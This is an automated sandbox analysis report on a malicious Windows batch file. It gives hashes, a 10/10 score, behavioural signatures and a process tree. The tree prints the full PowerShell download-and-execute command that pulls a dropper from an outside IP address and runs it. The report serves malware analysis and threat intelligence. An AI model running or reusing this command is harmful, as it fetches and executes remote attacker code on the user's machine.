Analysis

  • max time kernel
    62s
  • max time network
    75s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14-07-2020 18:10

General

  • Target

    4b173a78abd9946d4d62ac1747f6b27b.bat

  • Size

    214B

  • MD5

    4169794796eef3d174ede39b9bd8ed3b

  • SHA1

    ee75d44e353e2b6873ebbc0295b3d3cd6466f9bd

  • SHA256

    953b3d8b5ecaced21d0f1cf5c7e116715ef6f3da45ee1788cbd867c4d0508589

  • SHA512

    8abe81aae9f0e9ac9966713c66ee8a762d31889d6d0a763da4912f1f3a207932e6a0ed7ab22d38f3ee6c4e42d7b4d2886fc98c0b408a7c15aff0cf8e3a4ae623

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/4b173a78abd9946d4d62ac1747f6b27b

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\4b173a78abd9946d4d62ac1747f6b27b.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/4b173a78abd9946d4d62ac1747f6b27b');Invoke-REHFNXV;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      PID:864

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/864-0-0x0000000000000000-mapping.dmp